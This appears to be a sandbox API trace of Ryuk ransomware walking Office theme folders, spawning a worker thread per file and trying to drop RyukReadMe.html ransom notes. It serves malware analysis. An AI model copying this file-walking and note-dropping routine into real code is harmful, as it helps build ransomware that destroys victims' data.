	[0171.129] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0171.130] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1004, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0171.130] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0171.131] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f5276f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x854
	[0171.132] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0171.133] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x225d7800, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d2019f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x225d7800, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x11e37, dwReserved0=0x8e, dwReserved1=0x0, cFileName="RMNSQUE.ELM", cAlternateFileName="")) returned 1
	[0171.133] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0171.134] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f52add0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x858
	[0171.136] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0171.137] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x265, dwReserved0=0x8e, dwReserved1=0x0, cFileName="RMNSQUE.INF", cAlternateFileName="")) returned 1
	[0171.137] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0171.138] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f52e4b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x85c
	[0171.139] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0171.140] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbb5a, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0171.140] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0171.141] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f531b90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x860
	[0171.143] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0171.144] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbb5a, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0171.144] FindClose (in: hFindFile=0x7c690 | out: hFindFile=0x7c690) returned 1
	[0171.144] SetLastError (dwErrCode=0x0) 
	[0171.145] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0171.145] GetLastError () returned 0x5
	[0171.145] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0171.145] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0171.145] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d24dcb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="SATIN", cAlternateFileName="")) returned 1
	[0171.145] SetLastError (dwErrCode=0x0) 
	[0171.145] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0171.146] GetLastError () returned 0x5
	[0171.146] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0171.146] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0171.146] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d24dcb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c690
	[0171.146] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d24dcb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0171.147] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xe1b, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0171.147] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0171.148] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f535270, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x864
	[0171.150] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0171.150] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24bfd200, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x24bfd200, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1936f, dwReserved0=0x8e, dwReserved1=0x0, cFileName="SATIN.ELM", cAlternateFileName="")) returned 1
	[0171.150] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0171.151] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f538950, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x868
	[0171.154] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0171.154] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1c8, dwReserved0=0x8e, dwReserved1=0x0, cFileName="SATIN.INF", cAlternateFileName="")) returned 1
	[0171.155] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0171.155] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f53c030, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x86c
	[0171.158] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0171.159] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8573, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0171.159] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0171.159] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f53f710, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x870
	[0171.162] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0171.162] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8573, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0171.163] FindClose (in: hFindFile=0x7c690 | out: hFindFile=0x7c690) returned 1
	[0171.163] SetLastError (dwErrCode=0x0) 
	[0171.163] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0171.163] GetLastError () returned 0x5
	[0171.163] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0171.163] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0171.164] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="SKY", cAlternateFileName="")) returned 1
	[0171.164] SetLastError (dwErrCode=0x0) 
	[0171.164] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0171.164] GetLastError () returned 0x5
	[0171.164] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0171.164] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0171.164] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c690
	[0171.301] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0171.301] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3a9, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0171.302] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0171.303] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f542df0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x874
	[0171.305] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0171.306] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25f0ff00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x25f0ff00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1413d, dwReserved0=0x8e, dwReserved1=0x0, cFileName="SKY.ELM", cAlternateFileName="")) returned 1
	[0171.306] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0171.307] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f5464d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x878
	[0171.309] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0171.310] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a980590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1bc, dwReserved0=0x8e, dwReserved1=0x0, cFileName="SKY.INF", cAlternateFileName="")) returned 1
	[0171.310] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0171.311] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f549bb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x87c
	[0171.313] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0171.314] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7279, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0171.314] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0171.315] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f54d290, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x880
	[0171.316] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0171.317] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7279, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0171.317] FindClose (in: hFindFile=0x7c690 | out: hFindFile=0x7c690) returned 1
	[0171.317] SetLastError (dwErrCode=0x0) 
	[0171.317] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0171.317] GetLastError () returned 0x5
	[0171.317] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0171.318] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0171.318] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="SLATE", cAlternateFileName="")) returned 1
	[0171.318] SetLastError (dwErrCode=0x0) 
	[0171.318] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0171.318] GetLastError () returned 0x5
	[0171.318] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0171.318] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0171.319] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c690
	[0171.320] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0171.320] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3f1, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0171.320] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0171.321] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f550970, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x884
	[0171.323] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0171.324] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27222c00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x27222c00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x8e, dwReserved1=0x0, cFileName="SLATE.ELM", cAlternateFileName="")) returned 1
	[0171.324] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0171.325] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f554050, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x888
	[0171.326] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
